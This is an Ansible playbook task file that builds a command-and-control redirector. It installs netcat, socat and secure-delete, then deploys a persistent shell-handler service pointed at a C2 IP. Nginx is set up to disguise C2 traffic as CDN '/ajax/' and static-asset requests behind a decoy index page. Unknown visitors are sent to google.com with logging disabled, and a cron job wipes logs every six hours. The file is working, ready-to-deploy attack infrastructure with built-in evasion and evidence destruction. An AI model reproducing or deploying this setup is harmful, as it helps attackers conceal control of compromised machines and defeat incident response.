---
# Common task for configuring redirector
# Shared across all providers
- name: Install required packages for redirector
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
- socat
- netcat-openbsd
- secure-delete
state: present
update_cache: yes
- name: Create directories for operational scripts
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /opt/c2
- /opt/shell-handler
- name: Copy clean-logs.sh script
copy:
src: "../files/clean-logs.sh"
dest: /opt/c2/clean-logs.sh
mode: '0700'
owner: root
group: root
- name: Copy shell handler script
copy:
src: "../files/persistent-listener.sh"
dest: /opt/shell-handler/persistent-listener.sh
mode: '0700'
owner: root
group: root
- name: Configure shell handler script with C2 IP
replace:
path: /opt/shell-handler/persistent-listener.sh
regexp: 'C2_HOST="127.0.0.1"'
replace: 'C2_HOST="{{ c2_ip }}"'
- name: Configure shell handler script with listening port
replace:
path: /opt/shell-handler/persistent-listener.sh
regexp: 'LISTEN_PORT=4444'
replace: 'LISTEN_PORT={{ shell_handler_port }}'
- name: Create shell handler service
template:
src: "../templates/shell-handler.service.j2"
dest: /etc/systemd/system/shell-handler.service
mode: '0644'
owner: root
group: root
- name: Configure NGINX for zero-logging if enabled
template:
src: "../templates/nginx.conf.j2"
dest: /etc/nginx/nginx.conf
mode: '0644'
owner: root
group: root
when: zero_logs | bool
# Configure nginx sites with default values - no certificate
- name: Configure NGINX site with HTTP (no SSL)
copy:
content: |
server {
listen 80;
listen [::]:80;
server_name cdn.{{ domain }};
root /var/www/html;
index index.html;
# Primary location for legitimate website traffic
location / {
try_files $uri $uri/ =404;
}
# Special URI patterns for C2 traffic
# These will redirect to the actual C2 server
location /ajax/ {
proxy_pass http://{{ c2_ip }}:8888;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# Static resources that actually redirect to C2
location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
proxy_pass http://{{ c2_ip }}:8888;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Additional security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1" mode=block;
add_header Referrer-Policy "no-referrer" always;
}
# Catch-all server block to respond to unknown hosts
server {
listen 80 default_server;
listen [::]:80 default_server;
# Redirect all unknown traffic to a legitimate-looking site
return 301 https://www.google.com;
# Disable logs
access_log off;
error_log /dev/null crit;
}
dest: /etc/nginx/sites-available/default
mode: '0644'
owner: root
group: root
- name: Create legitimate-looking index.html
copy:
content: |
CDN - Content Delivery Network
cdn.{{ domain }}
Enterprise Content Delivery Network
Welcome to Our CDN
This server is part of our global content delivery network.
dest: /var/www/html/index.html
mode: '0644'
owner: www-data
group: www-data
- name: Create SSL certificate setup instructions
copy:
content: |
#!/bin/bash
# Let's Encrypt Certificate Setup Script
# Run this after setting up DNS records pointing to this server
# Replace these with your actual values if needed
DOMAIN="{{ domain }}"
SUBDOMAIN="cdn"
EMAIL="admin@${DOMAIN}"
echo "================================================"
echo "Let's Encrypt Certificate Setup"
echo "================================================"
echo
echo "Before running this script, make sure:"
echo "1. DNS records are set up correctly"
echo " - ${SUBDOMAIN}.${DOMAIN} points to $(curl -s ifconfig.me)"
echo "2. Port 80 is open to the internet"
echo
echo "Run the following command to get your certificate:"
echo "certbot --nginx -d ${SUBDOMAIN}.${DOMAIN} --non-interactive --agree-tos -m ${EMAIL}"
echo
echo "================================================"
dest: /opt/c2/setup-cert.sh
mode: '0700'
owner: root
group: root
- name: Start and enable shell handler service
systemd:
name: shell-handler
state: started
enabled: yes
daemon_reload: yes
- name: Set up cron job for log cleaning if zero-logs enabled
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
when: zero_logs | bool